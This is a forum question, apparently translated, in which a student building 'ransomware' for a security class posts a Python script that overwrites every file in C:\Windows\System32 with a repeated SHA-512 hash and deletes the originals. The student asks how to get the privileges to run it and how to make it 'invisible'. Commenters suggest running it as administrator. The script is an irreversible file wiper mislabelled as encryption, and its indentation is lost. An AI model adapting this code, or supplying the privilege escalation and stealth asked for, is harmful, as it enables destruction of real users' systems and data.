0
I am doing a ransomware for a college job (will run on Vms) and I would like to target a folder the folder "System32" to "kill" the VM, but I need "power" and I don’t know how to do it
The course is Information Security and my goal is to warn not to fall into false links or things like, I can even later make available the final video of the work here
Objective: to give "power" to the code, making it able to encrypt a system folder
The code is this:
import hashlib
import os
import string
import sys
#Windows - alvo
#c = 'C:\\Users\\teste\\Desktop\\teste' #win10
c = 'C:\\Windows\\System32' #win7
for files in os.listdir(c):
os.chdir(c)
with open(files, 'rb') as r:
data = r.read()
encrypt = hashlib.sha512(data).hexdigest()
encrypt = encrypt.encode('utf-8') #resolveu o erro
new_file = '(perdido)' +os.path.basename(files)
with open(new_file, 'wb') as n:
n.write(encrypt*0x31)
n.close()
r.close()
os.remove(files)
What happens when you try to spin it?
– Ken
If I’m not mistaken the script will need to be started in administered mode.
– pic
@Ken using the first path, he normally encrypts the target folder, either by running it straight from python or as . exe done Pyinstaller... already with the 2nd path q is my target, it simply gives a permission error (even run as Adm)
– efe
@pic vc says run the code with an open cmd like Adm ? pq when I ran . exe until I tried to open it as Adm and still won’t go
– efe
Yes, a few times I tried to use the lib
os
to move or delete files I had to start the prompt as Adm. But as I said it might not work, it’s just speculation– pic
@pic I tried, it didn’t work... off q I want it to be "invisible"
– efe